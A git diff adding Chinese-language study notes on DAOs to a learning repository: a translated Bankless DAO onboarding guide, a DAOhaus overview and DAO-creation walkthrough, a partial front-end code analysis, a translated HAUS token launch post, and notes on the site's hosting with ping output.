+2. [加入discord](https://discord.gg/bjPz2w9Zts)
+3. 按照#Start-Here discord 频道中的说明进行操作
+4. 您将需要连接您的钱包并验证您的 BANK 资产
+5. 就是这样！你在！
+
+在您以会员身份加入*Discord 后*，请在*#intros*频道中分享您的技能以及您可以为 DAO 做出的贡献。
+
+当您参与 DAO 时，新频道将为您解锁。最初，discord频道访问分为三个级别。
+
+- **级别 1：**会员（35,000 BANK）
+- **级别 2：**贡献者（35,000 BANK + Genesis Team 的邀请）
+- **级别 3：**鲸鱼（150,000 BANK）
+
+我们希望随着时间的推移添加新的访问级别并重新配置现有级别。discord访问分层的总体目标是奖励参与并将社区管理为对关键可交付成果负责的[较小](https://newsletter.banklesshq.com/p/find-your-squad-and-build-vibes)团队。
+
+# 3. 增加你的技能并参与进来
+
+对于合适的人来说，机会并不缺乏。DAO 将需要**内容创建者、媒体节点、设计师、构建者和人员**来管理所有这些项目。
+
+在创世纪，我们想更多地了解你的技能——你能为 DAO 做些什么？首先向#intros 频道介绍自己并分享有关您的才能的详细信息。
+
+**然后，开始为 DAO 做一些事情。**不要等待被告知该做什么。*开始编写、构建、创建。*当你所做的事情符合[DAO](https://www.bankless.community/mission)的[使命时，](https://www.bankless.community/mission)它会找到奖励你参与的方法。
+
+创世时的一些潜在需求：
+
+- 社区经理（*discord管理 + 支持 + 每周 mtgs*）
+- Twitter Meme Lord（*对*[*Bankless DAO twitter 的*](https://twitter.com/banklesshq)*共享控制*）
+- 每周 DAO 更新的[*子*](https://banklessdao.substack.com/)堆栈编写器（[*子*](https://banklessdao.substack.com/)堆栈上的*每周更新*）
+
+# 4. 对提案进行投票
+
+BANK 代表对治理提案的投票权。所有提案的头脑风暴、讨论和信号都将在 Discord 的*#proposal*部分进行。您可以在#snapshot-votes 频道中监控任何转移到链上快照投票的新提案。
+
+投票方式如下：
+
+1. 前往[Bankless DAO snapshot](https://snapshot.org/#/banklessvault.eth/)
+2. 连接您持有 BANK 的钱包
+3. 查看有效提案
+4. 阅读、考虑和投票！
+
+# 5. 提出新提案
+
+最初，治理提案将以#proposals 频道中的讨论或通过社区呼吁产生的想法开始。从那里，任何好的初始想法和倡议都可以通过使用 🔥 表情符号以及全面的讨论对消息做出反应来表示支持。
+
+如果围绕该主题有大量支持或讨论，作者可以起草更正式的规范。编写完成后，版主将为讨论、发信号、修改等打开一个特定的渠道。
+
+在发布后的前 30 天内，DAO 的主要重点是第 1 季的创世分配和规划。
+
+我们希望采用其他 DAO 社区的最佳实践，将我们的治理发展为最佳系统。
+
+
+
+Reference:https://medium.com/bankless-dao/getting-started-with-bankless-dao-94b0b60e052e
+
+翻译校对：DApp Learning / Survivor
\ No newline at end of file
diff --git a/dao/DAO-Review/pics/backless-start-01.png b/dao/DAO-Review/pics/backless-start-01.png
new file mode 100644
index 000000000..3ef85aa22
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-01.png differ
diff --git a/dao/DAO-Review/pics/backless-start-02.png b/dao/DAO-Review/pics/backless-start-02.png
new file mode 100644
index 000000000..515568191
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-02.png differ
diff --git a/dao/DAO-Review/pics/backless-start-03.png b/dao/DAO-Review/pics/backless-start-03.png
new file mode 100644
index 000000000..f592d76c1
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-03.png differ
diff --git a/dao/DAO-Review/pics/backless-start-04.png b/dao/DAO-Review/pics/backless-start-04.png
new file mode 100644
index 000000000..d37fe3e2d
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-04.png differ
diff --git a/dao/DAO-Review/pics/backless-start-05.png b/dao/DAO-Review/pics/backless-start-05.png
new file mode 100644
index 000000000..d6d314f76
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-05.png differ
diff --git a/dao/DAO-Review/pics/backless-start-06.png b/dao/DAO-Review/pics/backless-start-06.png
new file mode 100644
index 000000000..329a07e2e
Binary files /dev/null and b/dao/DAO-Review/pics/backless-start-06.png differ
diff --git a/dao/DAOhaus/About-DAOhaus.md b/dao/DAOhaus/About-DAOhaus.md
new file mode 100644
index 000000000..325cda585
--- /dev/null
+++ b/dao/DAOhaus/About-DAOhaus.md
@@ -0,0 +1,137 @@
+# About DAOhaus
++ 网址：https://daohaus.club/
++ app：https://app.daohaus.club/
+## 主要功能
++ 主要功能：只要metamask有一点ETH，就可以创建一个DAO，并且自身也是一个DAO的聚合。
++ 功能细节
+### Guilds
++ Work collectively to offer services
++ 最出名的最近是YGG（Yield Games Guild）了，发行了自己的Token，在本次Axie风口显示了实力。
++ 工会、行会，YGG定位帮助普通人利用玩游戏挣钱：Play to Earn。
+
+### Clubs
++ Little to no financial decisions
++ 俱乐部方式，这个比较开放，例如学习某个主题的俱乐部，德州，DeFi等等。
++ 类似同好会的组织形式。
+
+### Ventures
++ Large to XL financial decisions
++ 最早最著名之一是The DAO，志愿者募捐了几千万的ETH，期待能一起合力，投资未来（后来被黑客攻击）。
++ 2021七月最火爆的，是由部分中心化完全过渡到了去中心的MakerDAO，创始人Rune Christensen，抛弃巨大利益，令人钦佩。
++ 一群人组建MakerDAO，通过共识建立了Maker协议，通过联合抵押一组加密资产，铸造了Dai这种去中心化的稳定币。
++ Maker protocol, which uses a combination of crypto assets to operate and maintain DAI without the need for any bank or government. 
+
+
+### Grants
++ Distribute wealth together
++ 可理解为授权收益分配，主要用来赞助和推动自己认可的项目。
+
+### Products
++ Govern a Product or Protocol
++ 为创造和研发一个产品，聚合在一起的组织，Uni，Sushi，ACryptoS，许多DEX，应该都算这个类型（个人理解）。
++ 不是Venture，而是通过一起打造一个产品聚合的社区。
+## 图
++ 创建DAO
+![images](images/daohaus-summon.png)
++ 354个DAO lists（包含目前成员只有一个的Asset3，我的社区^_^)
+![images](images/daohaus-dao-list.png)
+
+  
+## 创建一个DAO
++ 访问https://app.daohaus.club/
++ 选择用哪个钱包接入，注意选择Mainnet，钱包内大约需要0.1以内的ETH余额。
++ 连接后，进入的左侧如图
+ <br/>![images](images/inital-left.png)
++ 第一次来DAOhaus，有四个选择：
+1.	Explore：找到所有的DAO，默认会给列出当下354个DAO。
+2.	**Summon**：直译是召唤，呼朋唤友，建立一个DAO。
+3.	Help：指向相关文档链接。
+4.	Community link：DAOhaus的相关社交媒体等的链接。
++ 左侧上方，有切换到其他DAO的链接（如果你有多个DAO的话）。
++ 右侧如图：
+![images](images/inital-right.png)
++ 列出了一些热门DAO，例如MetaCartel（元的卡特尔？）等等。
++ 你可以右上角切换你的登录钱包地址和方式。
+### Summon =Create a DAO
++ 点击Summon，如上文所示，会让你选择DAO类别，例如工行还是投资组织或者赞助组织等等，我们选择Guilds。
++ 会发现有默认的设置（会传递给链上的Contract）。
++ Primary Token:WXDAI
++ 默认token，选择是wraped xdai，后面可以改。
++ Proposal Velocity:12 per day
++ 提社区提案的速度，默认每天12。
++ Voting Period:5 days
++ 投票通过提案的速度，默认5天。
++ Grace Period:2 days
++ 冷静期：默认两天
++ Proposal Deposit:10 WXDAI
++ 提案存款：10wxdai（如果未通过，则按规则一般罚没，纳入社区财库，也可以设置其他规则处置）
++ Proposal Reward:1 WXDAI
++ 提案奖励：1wxdai（如果通过后）
++ 上述参数，都是传递给molochv3.sol的参数，用来在以太坊主网创建链上数据。
++ 还可以 Add Multiple Summonners（添加多个发起人）。
++ 快速建立的话，点击黄色的Summon即可。
+![images](images/summon.png)
++ 然后钱包确认付费（会有两次确认）。
+![images](images/summon-2.png)
++ 如果想要定制化，例如某DAO的投票通过提案速度要求是3天，冷静期是7天等等，可以点击右上方的“Hard Mode”
++ 会有更多定制内容提供给你，如图：
+![images](images/hard-mode.png)
++ 这里跟踪了这个contract（moloch.sol）地址：https://etherscan.io/address/0x38064f40b20347d58b326e767791a6f79cdeddce，可以看到，基于DAOhaus的智能合同，所有的建立记录：
+![images](images/contracts.png)
+### 管理一个DAO
++ 创建完成后，需要日常管理，链接钱包登录DAOhaus
++ 左侧菜单，除去Change DAO（切换DAO），Community links之外
++ 还增加了：
++ Proposals：提案
+![images](images/proposals.png)
++ 看图可知，有多重提案类型，加入/踢人，交易，发行新token，基金求助/资助，还有个Signal，发出信号？这个不了解，懂的同学补充下信息。
++ Vaults：财库
+![images](images/vaults.png)
++ 展示属于DAO的相关链上资产，默认WXDAI，可以自己添加多个Vault
++ Members：会员
+![images](images/members.png)
++ 显示你的会员信息，新创建的DAO，初始状态只有Summoner一个人。
++ Settings：设置
+![images](images/settings.png)
++ 这个不解释了，常规信息设置信息，注意的是，有些是不能修改的，例如提案押金存款等，因为已经是链上数据。
++ Boosts：加速
+![images](images/boosts.png)
++ 可以理解为插件，扩展DAO的场景应用能力，例如Discord插件，当有提案通过或者其他DAO事件发生的时候，自动发送Discord社区消息。
++ Allies：联盟
+![images](images/allies.png)
++ 目前看没有创建联盟的入口，猜测是官方建立了一个UberDAO，用来联盟，目前在xDAI网络上。
++ Profile：档案
+![images](images/profile.png)
++ 这里指登录钱包（用户）的档案信息。
+## 其他
+
++ DAOhaus最早于2019年的ETH Berlin黑客松会议上，由Raid Guild成员，一个研发者组织建立，URL：https://raidguild.org/ ， 基于Moloch的基础代码，建立了前端管理页面，以快速建立DAO为目标。
+
++ DAOhaus推动了许多DAO组织的建立，在易用性上，DAOhaus突出一些，并且于2020年8月份从在以太坊主网建立，提升为同时支持Mainnet和xDai（一个以太坊侧链）上建立DAO，核心原因是建立一个DAO的gas fee，从几美元上升到了最高达150美元。
+
++ DAOhaus已经于2021年3月，发行了自己的Token：HAUS，价格10USDT左右，2021年8月看，只在虎符（hoo）和hotbit有交易量（较少），DEX上Sushi和Uni都没有，但可以从coinGecko导入。
+
+![images](images/cap-haus.png)
+
++ Github代码地址：https://github.com/HausDAO/daohaus-app
+
++ Medium：https://medium.com/daohaus-club
+
+  ![images](images/medium.png)
+
+
+
+------
+
+参考资料：
+DAOhaus 官网 https://daohaus.club
+
+扩展阅读：rebase公众号文章 https://mp.weixin.qq.com/s/73jdIt6RXTpVGEuiWNoO-g
+
+
+## TODO
+
++ launch：https://medium.com/daohaus-club/haus-launch-bd781bbbf13a
+
++ 目前未找到白皮书，官方Medium有launch近似白皮书的文章，稍后翻译，不在本文范围。
+
diff --git a/dao/DAOhaus/DAOhaus-Code-backend.md b/dao/DAOhaus/DAOhaus-Code-backend.md
new file mode 100644
index 000000000..8962bb4bc
--- /dev/null
+++ b/dao/DAOhaus/DAOhaus-Code-backend.md
@@ -0,0 +1,4 @@
+## DAOhaus Code Analysis Backend
++ DAOhaus前端：https://github.com/HausDAO/daohaus-app（内部代号pokemol项目）
++ DAOhaus后端：https://github.com/MolochVentures/moloch/(Moloch合约代码)
++ 本文分析后端代码
\ No newline at end of file
diff --git a/dao/DAOhaus/DAOhaus-Code-frontend.md b/dao/DAOhaus/DAOhaus-Code-frontend.md
new file mode 100644
index 000000000..4994871de
--- /dev/null
+++ b/dao/DAOhaus/DAOhaus-Code-frontend.md
@@ -0,0 +1,157 @@
+## DAOhaus Code Analysis Frontend
++ DAOhaus前端：https://github.com/HausDAO/daohaus-app（内部代号pokemol项目）
++ DAOhaus后端：https://github.com/MolochVentures/moloch/(Moloch合约代码)
++ 本文分析前端代码
+### App结构
++ 这里分析整体目录结构和主要代码实现的功能。
+![hard-mode](images/dir.png)
++ 可以看到，主要目录是public、src
++ public目录是index文件、favor icon等页面文件关联内容，无业务流程，略过。
++ src目录非常多子目录，粗粗看了下，结构并不太合理，只能根据页面主要功能找到路径，再结合目录，来分析对应代码。
+#### index.jsx
++ react render，应用app，注入app内容。
+```
+import React from 'react';
+import ReactDOM from 'react-dom';
+
+import './index.css';
+import { BrowserRouter } from 'react-router-dom';
+import App from './App';
+import reportWebVitals from './reportWebVitals';
+import { InjectedProvider } from './contexts/InjectedProviderContext';
+import { CustomThemeProvider } from './contexts/CustomThemeContext';
+
+window.onunload = () => {
+  sessionStorage.clear();
+};
+
+ReactDOM.render(
+  <React.StrictMode>
+    <BrowserRouter>
+      <CustomThemeProvider>
+        <InjectedProvider>
+          <App />
+        </InjectedProvider>
+      </CustomThemeProvider>
+    </BrowserRouter>
+  </React.StrictMode>,
+  document.getElementById('root'),
+);
+```
++ 如果调试性能：reportWebVitals(console.log))，更多参考https://bit.ly/CRA-vitals
+#### app.jsx
++ 应用主要文件，汇集所有关键功能代码，输出app
+```
+import React from 'react';
+import { Switch, Route, Redirect } from 'react-router-dom';
+
+import { UserContextProvider } from './contexts/UserContext';
+import { ExploreContextProvider } from './contexts/ExploreContext';
+import Hub from './pages/Hub';
+import Dao from './pages/Dao';
+import Explore from './pages/Explore';
+import Summon from './pages/Summon';
+import Register from './pages/Register';
+import DaoSwitcherModal from './modals/daoSwitcherModal';
+import TxInfoModal from './modals/TxInfoModal';
+import FourOhFour from './pages/404';
+import HubBalances from './pages/HubBalances';
+```
++ 可以看到，关键的Hub：聚合功能、Dao本身管理、Explore搜索更多DAO、Summon召唤新建一个DAO等等，都有了，不一一解释，基本和首页对应，我们来探索下。
+### 目录概述
++ 主要目录
+#### 1 storybook
++ 独立开发React、Vue和Angular的UI组件工具，这个目录猜测是用来展示、测试UI组件的。
++ npm run storybook
++ 扩展阅读：
++ https://www.jianshu.com/p/9cb75ae50515
++ https://storybook.js.org/docs/react/get-started/introduction
++ License：GPLV3,https://www.gnu.org/licenses/gpl-3.0.txt
+#### 2 vscode
++ 设置文件，不解释
+#### 3 public
++ 全局静态文件
++ icon集合，index静态文件
+#### 4 src
++ 主要目录文件
++ 分为几个大类
+##### 入口
+
+index.jsx
+
+App.jsx
+##### 控制部分
+
+**routers**  
+
+**contexts** 
+
+**pages**       
+
+**forms**  
+
+##### 实现部分
+
+**contracts**  
+
+**graphQL**  
+
+**services**  
+
+**hooks**  
+
+**components**     
+
+##### 辅助内容
+
+**themes**
+
+**header**   
+
+**content**      
+
+**data**             
+
+**modals**     
+
+**stories**
+
+**nav** 
+
+**polls**       
+
+**formBuilder**    
+
+**assets** 
+
+**staticElements**   
+
+**utils**
+
+##### 其他
+
+global.css
+
+ index.css
+
+reportWebVitals.js
+
+setupTests.js
+### 分析路径
++ 前端分析目标是具备React基本开发能力的同学，看完本文后，能够动手修改前端页面功能，改为自己的XXXDAOClub之类的DAO建设工具（后端也要对应修改、完善）。
++ 以App.jsx为入口，描述下整体分析思路，
++ 
+### 调用智能合约
++ 这里主要分析调用Moloch智能合约的过程，入口和返回参数等。
++ [欢迎认领~！issue留言即可！](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/99)
+### 新建DAO
++ 这里完整跟进一个建立新DAO的过程。
++ 新建DAO核心是合约参数传递给Moloch线上合约，然后运行，生成新建DAO的配置数据，写入链上，并且发行新建DAOToken的过程。
++ [欢迎认领~！issue留言即可！](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/99)
+
+### 插件系统
++ 这里分析几个插件系统运作机制：snapshot proposals、Token supply、discord消息三个，如果有新力量加入，欢迎分享、分担一部分分析工作，欢迎认领~！
++ [欢迎认领~！issue留言即可！](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/99)
+
+### 其他
++ DAOhaus is a no code platform for Moloch DAOs. index.html的meta content标签内容。
diff --git a/dao/DAOhaus/DAOhaus-Contracts.md b/dao/DAOhaus/DAOhaus-Contracts.md
new file mode 100644
index 000000000..83ce201cb
--- /dev/null
+++ b/dao/DAOhaus/DAOhaus-Contracts.md
@@ -0,0 +1,5 @@
+# DAOhaus合约分析
++ 主要基于Moloch火神V1，V2
+https://github.com/MolochVentures/moloch/
++ [欢迎分解，欢迎认领!](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/99)
++ TODO
\ No newline at end of file
diff --git a/dao/DAOhaus/DAOhaus-Launch.md b/dao/DAOhaus/DAOhaus-Launch.md
new file mode 100644
index 000000000..e26be5209
--- /dev/null
+++ b/dao/DAOhaus/DAOhaus-Launch.md
@@ -0,0 +1,151 @@
+# DAOhaus Launch- 中文翻译+解读
+
++ James Waugh，DAOhaus发起者之一（RaidGuild成员）。
++ 在2021年3月份，Medium上发布了一篇文章：https://medium.com/daohaus-club/haus-launch-bd781bbbf13a
++ 主要目标是宣布整体Token空投计划，包括建立了UberDAO这个多个DAO的联盟，把60.5%的Haus代币捐赠到了UberDAO金库。
++ 以下是自动翻译+人工校对后版本：
+
+## 什么是DAOhaus
+
+[DAOHaus](https://daohaus.club/)是[出生于2019 ETHBerlin](https://medium.com/odyssy/daohaus-bauhaus-b855cd9db19e)，一个黑客马拉松项目，旨在更容易（或可能的），与互动[Moloch DAO智能合同](https://github.com/MolochVentures/moloch/blob/master/v1_contracts/README.md)在人类可读的方式。经过几天的时间，Club Mate 引起了狂热，DAOhaus 的第一个构建诞生了！因此，开始了近两年的旅程，重点是为以太坊生态系统带来更多开放的金融协作工具。
+
+## 为什么 DAO 很重要
+
+![hard-mode](images/why-dao.png)
+DAO 强制执行信任并允许人力和资本的协作。**当被剥离时，DAO 只是一组智能合约，它允许人们汇集资本，投票决定如何分配该资本，如果他们愿意，可以按比例退出该资本**。
+
+从历史上看，如果一群人想要将他们的资源集中到一个共同的目标上，则需要选出其中一个人来掌管这笔钱，或者这笔钱需要管理一个特定的账户，从而使该团队走向失败因人为错误、故意盗窃或更广泛的审查的失败状态。现在，我们可以将这一责任委托给一个智能合约，该合约被预先编程为仅根据一组预先确定的标准部署资本。这允许一群人进行协作，而**无需相互了解或信任**。
+
+Moloch DAO在“The DAO”和导致其崩溃的合同错误之后中断了几年，在以太坊生态系统中[重新启动了这种 DAO 心态](https://medium.com/axialabs/relearning-to-dao-craft-b815b3e3f8ef)。**DAO 是以太坊和全球数字社区发展不可或缺的一部分，而 DAOhaus 就是为了实现这一目标。**
+
+## 社区从第一天开始资助
+
+从捐款到社区贡献，DAOhaus 一直由其用户资助。2020 年初，DAOhaus 举办了第一次[社区贡献产品（CCO， Community Contribution Offering ）](https://medium.com/daohaus-club/fair-launch-transmutation-proof-of-contribution-and-haus-2ab93c7727b4) ——允许活跃的社区成员通过承诺不可转让的 DAO 股份（称为 Loot）来播种营运资金。
+
+使用称为**Transmutation**的过程，这些贡献者收到了他们按比例分配的 HAUS 代币，**因为 DAO 花费了资金**。今天，我们很高兴分享HAUS CCO1的成果和HAUS的公开发布！
+![hard-mode](images/cco-haus.png)
+
+## 真正的渐进式去中心化
+
+DAOhaus 一直是敢作敢为和社区第一。大约 20 人的“核心 DAO”围绕 HausDAO 进行远程工作和协作，以将[DAOhaus v2](https://app.daohaus.club/)和 HAUS 令牌变为现实。
+
+从来没有任何贡献者获得过薪水，所有的工作都是在提供**价值的基础上**获得奖励的，*沟通*和*透明度是首要*原则。与您在传统公司中可能会发现的僵化部门不同，我们以灵活的**圈子**模式运作，一群人负责 DAOhaus 的不同方面。大多数人属于不止一个，并且没有入门要求——只要出现并提供价值！
+
+- 🧙‍♂️ **Magesmiths**是构建者、发送代码、部署 Minion 并承担 DAOhaus 的技术责任。
+- 🏹**游骑兵**是沟通者；撰写文章、与潜在合作伙伴交谈、录制播客。没有他们，你就不会在这里阅读这篇文章！
+- ⚗️**炼金术士**酝酿将 DAO 和代币联系在一起的经济和治理设计。
+- ⚔️**圣骑士**负责一切；制定预算、安排日程并领导内部研讨会——确保其他每个圈子都在做需要的事情！
+- 翻译到这里感觉很好玩，用游戏方式来定位角色和分工，很有代入感~！
+![hard-mode](images/roles-dao.png)
+
+## Daohaus发布会
+
+现在是**HAUS**向更广泛的以太坊生态系统启动的时候了，旨在进行新水平的数字协作。在发布时，HAUS 将用于管理 UberHAUS DAO，它只能由其他 DAO 管理，在以太坊和治理空间内建立一个新的实验。
+
+为了**在 DAO 治理上**引导这个**DAO**，DAOHaus 正在向 Moloch 生态系统中的 DAO空投**10.3% 的 HAUS**，包括：[MetaCartel](https://www.metacartel.org/)、[Raid Guild](https://raidguild.org/)、[Meta Gamma Delta](https://twitter.com/metagammadelta)、[Venture DAO](https://metacartel.xyz/)和另外 70 多个 DAO！通过向 DAO 空投 HAUS，DAOHaus 可以在它们之间强制执行某种“最低级别的协作”，让每个 DAO 选择自己的路径。**DAO 协作的新实验！**
+
+在 DAO 分配之外，HAUS 将通过 **社区贡献机会** 进行分配，在那里获得 **“DAO 证明”** 状态的地址将能够向 CCO 贡献多达 5000 个 xDAI。查看[HAUS 页面](https://daohaus.club/token)并[在此处](https://app.daohaus.club/cco)检查[地址资格](https://app.daohaus.club/cco)！
+
+在**3月15日**，HAUS将推出世界，用4天缴款期开放给 **所有符合条件的地址。** HAUS CCO 的目标是收集 888,888 美元的 xDAI，在达到 111 万美元的 xDAI（HAUS 的 12.5%）上限后，或贡献期结束后，销售将结束。然后 HAUS 将分发给所有参与者，他们将能够从几种前进的道路中进行选择。**HAUS 将在 3 月 29 日开始销售两周后分发。**
+
+## HAUS 代币详情
+
+**总供应量：** 1,000,000 HAUS
+**流通供应量：** 387,000 HAUS
+
+**Haus 分布：**
+
+![hard-mode](images/haus-distribution.png)
+
+### UberDAO 社区金库
+
+**60.5% HAUS** (605k HAUS) 仍然由 UberDAO 持有，UberDAO 是由 HAUS 和其他 DAO 控制的总体 DAO——由社区管理。如何分配剩余的 HAUS 的示例包括：机制农业、委托/投票激励、流动性激励、治理挖矿等。
+
+### 追溯分发
+
+**10.3% HAUS
+7% HAUS** (70k HAUS) 分配给现有的 Moloch DAO，基于多种因素；价值吞吐量（WETH/DAI 输入/输出）、总体使用情况（gas 消耗）和唯一成员。
+
+**3.3% HAUS** (33k HAUS) Moloch DAO 用户空投——*更多细节即将推出！*
+
+### CCO1 分配
+
+**12.5% HAUS** (125k HAUS) 分配给 CCO1 贡献者，参与 CCO1 的 Moloch DAO 社区核心成员，250,000 DAI 贡献给 HausDAO，发生HAUS[嬗变](https://medium.com/daohaus-club/fair-launch-transmutation-proof-of-contribution-and-haus-2ab93c7727b4)！
+
+### CCO2 分配
+
+**10–12.5% HAUS** (100k-125k HAUS) 通过下面描述的“DAO 证明”机制分配给符合条件的 CCO2 贡献者。
+
+### Warcamp 贡献者分配
+
+**6.7% HAUS** (67,000 HAUS) 分配给“Warcamp”贡献者，即围绕该项目成立的 DAOhaus 社区成员。
+
+## 社区贡献2：DAO的证明
+
+DAOhaus 开始将 HAUS 分发给更广泛的 **以太坊治理参与者**群体。**“DAO 证明”** 是将 HAUS 分发给愿意协作的人的最佳方式之一，确保项目在启动后保持参与优先的心态！
+
+**有大约 122k 个地址已经“证明”符合 HAUS 分配的条件，以下所有行为都表明愿意在以太坊生态系统内进行治理，因此包括在内：**
+
+- 所有曾经发送或接收[TheDAO](http://0xbb9bc244d798123fde783fcc1c72d3bb8c189413/)代币的地址
+- [快照空间的](https://snapshot.page/)所有成员
+- 来自[Aragon](https://aragon.org/)投票模块的所有投票创建者和选民
+- 所有带有 VoteCast 或 DelegateChanged 的地址来自[Compound](https://compound.finance/)
+- 从所有stakers[向往](https://yearn.finance/)放样事件发出
+- 从VoteCast或DelegateChanged所有地址[Uniswap](https://uniswap.exchange/)
+- 来自[DXDAO](https://dxdao.eth.link/#)的“收件人或[发件人](https://dxdao.eth.link/#)”字段中的所有地址
+- 来自[Aave 的](https://aave.com/)所有带有 VoteEmitted 事件的地址
+- 所有[Moloch DAO](https://app.daohaus.club/explore)用户
+
+> 每个已证明合格的地址将能够向 DAOhaus CCO 贡献最多 5,000 DAI。
+
+## 参与 HAUS
+
+HAUS 将在主网上启动，并在贡献窗口桥接到 xDAI。任何参与 HAUS 分发的人都需要加入 xDAI！您需要将 DAI 从主网桥接到 xDAI，有关如何执行此操作的说明将在 HAUS CCO 资格网页上提供。
+
+在 xDAI 上部署 HAUS 会增加协作成本以换取实际成本的降低，将向 CCO 做出贡献所需的总 gas 支出从约 100 美元减少到约 0.10 美元，对于那些驱动足以参与的地址而言，节省了 1000 倍。HAUS 发行版的设计目的是将**积极的社区协调员**作为接收和管理 HAUS 的主要候选人。
+
+## 在启动时使用 HAUS 的不同选项：
+
+![hard-mode](images/options.png)
+在启动时，DAO、DAO 贡献者证明和 HAUS 持有者将通过**三种不同的方式**参与 DAOhaus 生态系统和治理：
+
+- **首先**，HAUS 持有者有机会参与 UberHAUS DAO、HAUS 的主要治理机制和 DAOhaus 协议。UberHAUS DAO 的会员资格仅限于 Moloch DAO，因此如果您想参与；加入一个或召唤你自己的，这很容易！**更多关于 UberDAO 的信息即将推出！**
+
+![hard-mode](images/farm.png)
+
+- **其次**，通过 **“幕府将军”** 质押 HAUS 持有者可以为[HoneySwap](https://honeyswap.org/)上的 ETH/HAUS 提供流动性，并通过快照获得“软”信号能力，以及 HAUS 奖励。
+- **最后**，**“Ronin”** 质押允许 HAUS 持有者仅“质押”他们的代币以获得“软”信号能力和 HAUS 奖励。
+
+所有这三种激励结构都将在HAUS 发布后运行**一个月**，届时 HAUS 持有者和 DAO 贡献者将决定下一步的最佳步骤，无论是继续当前的激励措施还是开发新的激励措施！
+
+## 前方的路
+
+DAOhaus 正在为可访问的链上治理铺平道路。
+
+除了 HAUS Launch之外，DAOhaus 将很快推出许多旨在使 DAO 比以往更容易的更新。如果您或您认识的人正在寻求协作数字社区，DAOhaus 适合您。
+
+> **与此同时，请进入**[**Discord**](https://discord.gg/GzQhnuNf)**对上述所有问题和评论。并密切关注**[**DAOhaus Twitter**](https://twitter.com/nowdaoit)**！**
+>
+> 这只是一场正在进行的数字协作革命的开始，我们期待在这一旅程中扮演一个小角色。
+
+## Haus out！
+![hard-mode](images/haus.png)
+> 本文和Haus launch的完成和发布，离不开下列这些贡献者的辛苦工作：
+>
+> [Ven Gist](https://medium.com/u/d363577fdcab?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> [Sam Kuhlmann](https://medium.com/u/12efc587510?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> [Dekan Brown](https://medium.com/u/4f43cb946593?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> [Callum Gladstone](https://medium.com/u/351fa47c3052?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> [Adam J Kerpelman](https://medium.com/u/480de4b12a56?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> [Cooper Turley](https://medium.com/u/af8b40222d18?source=post_page-----bd781bbbf13a--------------------------------)
+>
+> 还有更多！
+> 
+-----
+由Rebase社区 Survivor焦翻译校对，一起拥抱Web3，一起拥有Asset3！
+
diff --git a/dao/DAOhaus/Dauhaus-Code.md b/dao/DAOhaus/Dauhaus-Code.md
new file mode 100644
index 000000000..476f5adb0
--- /dev/null
+++ b/dao/DAOhaus/Dauhaus-Code.md
@@ -0,0 +1,120 @@
+## DAUhaus Code Analysis
+
+## 前言
+
+**请大家指正，一起探讨**
+
++ 个人习惯，如果不能像**一个Http请求**那样，从头到尾在链路层/应用层都有体会的走一遍，感觉就是不了解这个系统，就不舒服，好奇心而已~！
++ 但公司给每个人做过一些性格分析，当我信息不足是，我会用想象来补足信息，所以有些是个人理解的，会特地指出来，一起探讨。
++ 有人会看的**无聊无趣**，可以直奔主题，下个文档：DAOhaus合约分析。
+
+## 站点分析
+
+### 域名
+
++ daohaus.club，很明显，中心化（相对于去中心化的区块链）域名，注册于传统的域名机构GoDaddy。
+![hard-mode](images/whois.png)
++ 那中心化的传统网站，如何和去中心化的链上世界，做交互的呢？
++ 你会说，肯定是用web3.js了，是的，也对，但不是全部，我们抽丝剥茧来看。
+
+### 服务器
+
++ 按Http请求的链路，域名会转发给DNS指向的Web服务器。
+
++ ping daohaus.club（美国俄亥俄州服务器ping的）。
+
+  PING daohaus.club (157.245.242.152) 56(84) bytes of data.
+
+  64 bytes from 157.245.242.152 (157.245.242.152): icmp_seq=1 ttl=44 time=17.1 ms
+
+  64 bytes from 157.245.242.152 (157.245.242.152): icmp_seq=2 ttl=44 time=16.4 ms
+
+  64 bytes from 157.245.242.152 (157.245.242.152): icmp_seq=3 ttl=44 time=16.5 ms
+
+  64 bytes from 157.245.242.152 (157.245.242.152): icmp_seq=4 ttl=44 time=16.5 ms
+
+  64 bytes from 157.245.242.152 (157.245.242.152): icmp_seq=5 ttl=44 time=16.5 ms
+
++ IP地址对应地址位置：美国Digital Ocean（为何这个不是AWS？）
+
++ ping daohaus.club(中国杭州ping)
+
++ PING daohaus.club (52.220.193.16): 56 data bytes
+
+  64 bytes from 52.220.193.16: icmp_seq=0 ttl=43 time=246.879 ms
+
+  64 bytes from 52.220.193.16: icmp_seq=1 ttl=43 time=266.142 ms
+
+  64 bytes from 52.220.193.16: icmp_seq=2 ttl=43 time=301.859 ms
+
++ ip地址对应地理位置：新加坡Amazon数据中心。
+
++ ping daohaus.club(从韩国服务器ping)。
+
+  PING daohaus.club (54.211.114.166) 56(84) bytes of data.
+
+  64 bytes from ec2-54-211-114-166.compute-1.amazonaws.com (54.211.114.166): icmp_seq=1 ttl=30 time=11.7 ms
+
+  64 bytes from ec2-54-211-114-166.compute-1.amazonaws.com (54.211.114.166): icmp_seq=2 ttl=30 time=11.7 ms
+
+  64 bytes from ec2-54-211-114-166.compute-1.amazonaws.com (54.211.114.166): icmp_seq=3 ttl=30 time=11.7 ms
+
++ ip地址对应地理位置：美国弗吉尼亚州阿什本Amazon数据中心。
+
++ 看起来，使用了DNS轮询机制，一个域名被动态解析到多个Web服务器，估计是使用了AWS的Rout53（一种域名/流量管理套餐）或者其他类似机制产品。
+
+### 页面
++ 每个服务器，都承载了之前文档介绍的各种页面，例如创建DAO、查询DAO、文档介绍、插件选择等等。
++ 我们来分析下，几个典型页面的XHR，jsonp请求，看看背后的链路。
++ 首页：域名相对路径下的一些静态文件加载，js，css，png。
+![hard-mode](images/homepage.png)
++ 有个奇怪的地方，为何动态的结果，也是图片方式显示，猜测是后端在链上获取数据后，合成的pic？或者仅仅是固定的图片，宣传而非动态展示。
